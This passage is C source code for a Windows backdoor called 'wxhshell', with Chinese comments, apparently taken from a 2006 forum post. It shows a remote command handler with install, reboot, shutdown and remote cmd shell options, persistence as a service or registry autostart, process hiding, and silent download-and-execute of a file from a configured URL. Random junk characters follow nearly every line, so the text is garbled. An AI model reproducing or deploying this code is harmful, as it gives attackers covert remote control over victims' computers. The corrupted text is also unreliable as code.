  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ef:.)!;jy  
  else G>d@lt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x.xfMM2n  
  } +tES:3Pi  
  else { Jf YO|,  
Qpe&_.&RE  
    switch(cmd[0]) { A +e ={-*  
  Gt2NUGU  
  // 帮助 |!aMj8i2  
  case '?': { RxjC sjg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TmvI+AY/  
    break; "U4Sn'&h@  
  } E#Smi507p  
  // 安装 k8Qm +r<p  
  case 'i': { AQDT6E:  
    if(Install()) Q]uxZ;}aF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,mx>)} l95  
    else [x kbzJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H3H3UIIT_  
    break; `p|{(g'  
    } ;*{y!pgb  
  // 卸载 '+hiCX-_  
  case 'r': { W`*S?QGzl@  
    if(Uninstall()) BlF>TI%2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E=_M=5]  
    else {r?O>KDQf(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pd?3_yU  
    break; K@)Hm\*  
    } vUk <z*  
  // 显示 wxhshell 所在路径 /. k4Y  
  case 'p': { 6FFQoE|n  
    char svExeFile[MAX_PATH]; 8$xd;+`y'  
    strcpy(svExeFile,"\n\r"); Eaf6rjD  
      strcat(svExeFile,ExeFile); jjN ]*{s  
        send(wsh,svExeFile,strlen(svExeFile),0); ,B_Nz}\8  
    break; f02 <u  
    } {*RyT.J  
  // 重启 .DR^<Qy  
  case 'b': { b)"bX}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C_mPw  
    if(Boot(REBOOT)) d~M;@<eD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -r)Q|U  
    else { Km7HB!=<  
    closesocket(wsh); tgCEz%  
    ExitThread(0); aKkL0 D  
    } TPEg>[  
    break; e<2?O  
    } 00X~/'!  
  // 关机 r%\(5H f  
  case 'd': { dtD)VNkBZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ByqB4Hv2  
    if(Boot(SHUTDOWN)) SIQ7oxS4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P(D0ru  
    else { wQ]!Y ?I  
    closesocket(wsh); v[~e=^IIsl  
    ExitThread(0); <Yif-9  
    } o?%1^6&HE  
    break; pxy=edd  
    } "|ZC2Zu<  
  // 获取shell E:'TZ4Z  
  case 's': { =8:m:Y&|`G  
    CmdShell(wsh); {/d<Jm:  
    closesocket(wsh); x$ z9:'U  
    ExitThread(0); =pSuyM'  
    break; r1dP9MT\8  
  } Jse;@K5y  
  // 退出 z !2-U  
  case 'x': { 8ExEhBX8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $3.hZx>  
    CloseIt(wsh); 5~)m6]-6  
    break; TrA&yXXL  
    } eb%`ox@&  
  // 离开 EMK>7 aks  
  case 'q': { 5A^$!q P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wyG7SA   
    closesocket(wsh); XL SYE   
    WSACleanup(); O.OPIQ=?:w  
    exit(1); ;;|S QX  
    break; 6jS:_[p  
        } b/^i  
  } LEu_RU?  
  } 21k^MZ  
e0rh~@E  
  // 提示信息 ]nmVT~lBe"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KYe@2 6   
} p@`]9tLP(K  
  } FZdZGK  
D=ZH? d  
  return; m[l[yUw#  
} $Sg5xkV,a  
C|or2  
// shell模块句柄 xcf`i:\  
int CmdShell(SOCKET sock) cviPCjM  
{ 60RYw9d%0  
STARTUPINFO si; QY)hMo=|o8  
ZeroMemory(&si,sizeof(si)); PRTn~!Z0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }fqz8'E9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MTyBG rs(  
PROCESS_INFORMATION ProcessInfo; j*XhBWE?  
char cmdline[]="cmd"; ^"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S! Z2aFj  
  return 0; g+:Go9k!F  
} n\/ JNzd3  
)c;zNs  
// 自身启动模式 *{K?JB#W  
int StartFromService(void) D=>[~u3H  
{ !=/wpsH  
typedef struct Of@ LEEh6  
{ 3 *g>kRMJ  
  DWORD ExitStatus; ZUg ~8VVe  
  DWORD PebBaseAddress; wr`+xYuuC=  
  DWORD AffinityMask; ,SVl>~!  
  DWORD BasePriority; D~^P}_e.  
  ULONG UniqueProcessId; tjId?}\  
  ULONG InheritedFromUniqueProcessId; <F%c"Rkh  
}   PROCESS_BASIC_INFORMATION; s+fjQo4  
l(~i>iQ 4  
PROCNTQSIP NtQueryInformationProcess; K6BP~@H_D  
|qAU\m"Pc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &%=]lP]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8hZY Z /T  
mD"[z}r)  
  HANDLE             hProcess; aS $ J `  
  PROCESS_BASIC_INFORMATION pbi; n mN3Z_  
<Na .6P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .0a,%o 8n  
  if(NULL == hInst ) return 0; #`5>XfbmQ(  
ZR[6-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V/dL-;W;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %s;=H)8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N'@E^ rYc  
%p}xW V.  
  if (!NtQueryInformationProcess) return 0; g)**)mz[  
=3H*%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 86f8b{_e"  
  if(!hProcess) return 0; e&\+o}S  
v"v-c!k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z[?&bF<|  
G5T(  
  CloseHandle(hProcess); xWuvT,^  
=c34MY(#X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E 5N9.t h  
if(hProcess==NULL) return 0; {=Z _L?j  
<KEVA?0>  
HMODULE hMod; MD+e!A#o  
char procName[255]; k+% c8w 9  
unsigned long cbNeeded; iQ8T3cC+  
*!c&[- g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *Me&> "N"  
KGP*G BZr  
  CloseHandle(hProcess); Dwa.ZY}-  
 Uip-qWI  
if(strstr(procName,"services")) return 1; // 以服务启动 UPGS/Xs]1  
8}.V[,]6  
  return 0; // 注册表启动 ,1e\}^  
}  8\Uy  
>^bSjE  
// 主模块 ,(v=ZeI  
int StartWxhshell(LPSTR lpCmdLine) v"8i2+j  
{ >mUSRf4  
  SOCKET wsl; pdq5EUdS  
BOOL val=TRUE; =DsFR9IB  
  int port=0; R^Y>v5jAe  
  struct sockaddr_in door; +&*Ybbhb  
B.F~/PET  
  if(wscfg.ws_autoins) Install(); myqQqVW  
_`d=0l*8  
port=atoi(lpCmdLine); |,lw$k93  
6 vr8rJ-  
if(port<=0) port=wscfg.ws_port; :P?zy|aBi  
y*vg9`$k  
  WSADATA data; `6FH@" |I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _M)J{ {?:  
[n2)6B\/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   30<3DA_P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }_,={<g  
  door.sin_family = AF_INET; .-?Txkwb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4O>0gK{w  
  door.sin_port = htons(port); @ev8"JZ1  
%h4|$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j*L-sU  
closesocket(wsl); sL4+O P-  
return 1; CJf4b:SY@  
} KF}_|~~T  
aSH =|Jnc  
  if(listen(wsl,2) == INVALID_SOCKET) {  XM<  
closesocket(wsl); _[{oK G^u  
return 1; W&p f%?  
} v])R6-T-  
  Wxhshell(wsl); RWdx) qj{  
  WSACleanup(); t6! B  
B/gI~e0  
return 0; y;ymyy&  
wd<jh,Y  
} Igb%bO_  
O_^ uLp  
// 以NT服务方式启动 :,pdR>q%(y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~09kIO)  
{ TQsTL2a  
DWORD   status = 0; QR(j7>+J^  
  DWORD   specificError = 0xfffffff; >+F +"NAN  
A"Sp7M[J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Tk:%YS;=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R0bWI`$Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (/gMtIw  
  serviceStatus.dwWin32ExitCode     = 0; VNHt ]Ewj  
  serviceStatus.dwServiceSpecificExitCode = 0; .( X!*J]G  
  serviceStatus.dwCheckPoint       = 0; wOrpp3I  
  serviceStatus.dwWaitHint       = 0; ]Ag{#GJ5D  
g#r,u5<*?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +9]CGYj  
  if (hServiceStatusHandle==0) return; &D#B"XI  
o{xA{ @<  
status = GetLastError(); C0-,<X  
  if (status!=NO_ERROR) f\c%G=y  
{ AN4(]_ ]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e*hCf5=-  
    serviceStatus.dwCheckPoint       = 0; Rkh ^|_<!  
    serviceStatus.dwWaitHint       = 0; +Q&CIo  
    serviceStatus.dwWin32ExitCode     = status; P/ 7aj:h~P  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^s6C']q *O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u#`'|ko \9  
    return; 'jjJ[16"d  
  } g0 Jy:`M  
28=L9q   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :AM_C^j~ D  
  serviceStatus.dwCheckPoint       = 0; B+2Jea,N  
  serviceStatus.dwWaitHint       = 0; y3!#*NU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L0>w|LpRc  
} 0;:AT|U/d  
zJT,Hv .  
// 处理NT服务事件,比如:启动、停止 Jec<1|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .R{+Pz D  
{ THHA~;00YN  
switch(fdwControl) fhbILg  
{ avEsX_.  
case SERVICE_CONTROL_STOP: )`-vN^1S-  
  serviceStatus.dwWin32ExitCode = 0; sZYTpZgW4L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AW/)R"+  
  serviceStatus.dwCheckPoint   = 0; <G#z;]N  
  serviceStatus.dwWaitHint     = 0; } f+hB  
  { .9KW| (uW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4!0nM|~  
  } VO+3@d:  
  return; >TddKR @C  
case SERVICE_CONTROL_PAUSE: DY!mq91  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8`;3`lZ  
  break; iWMgU:T  
case SERVICE_CONTROL_CONTINUE: b%M|R%)]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y~uqKb;A  
  break; "i/3m'<2  
case SERVICE_CONTROL_INTERROGATE: J&jig?t  
  break; iMXK_O%  
}; u@$pOLI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 70{fl 4J5  
} } P/ x@N  
P'q . _U  
// 标准应用程序主函数 1PdxoRa4=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?ne!LDlE|  
{ NJTC+`Hm  
32ae? d  
// 获取操作系统版本 &yQM 8J~  
OsIsNt=GetOsVer(); >m&r,z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >5}jM5$  
XG_Iq ,  
  // 从命令行安装 _I}rQfPJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); b1`(f"&l  
2gbMUdpp  
  // 下载执行文件 uSi/|  
if(wscfg.ws_downexe) { 13:0%IO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2e @zd\  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1WMwTBHy+  
} hSyA;*)U  
(6S f#M  
if(!OsIsNt) { 9QryW\6.@z  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,0R2k `m!  
HideProc(); Cq,hzi-  
StartWxhshell(lpCmdLine); ]kd )j  
} Fl^}tC  
else X[ o9^<  
  if(StartFromService()) =w&<LJPJ  
  // 以服务方式启动 h7H#sL[^  
  StartServiceCtrlDispatcher(DispatchTable); >@o}l:*  
else Ghgo"-,#  
  // 普通方式启动 {%;KkC8=R  
  StartWxhshell(lpCmdLine); Rtl;*ZAS  
Oy!j`  
return 0; &G>EBKn\2`  
}
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只看该作者 1 发表于: 2006-10-10
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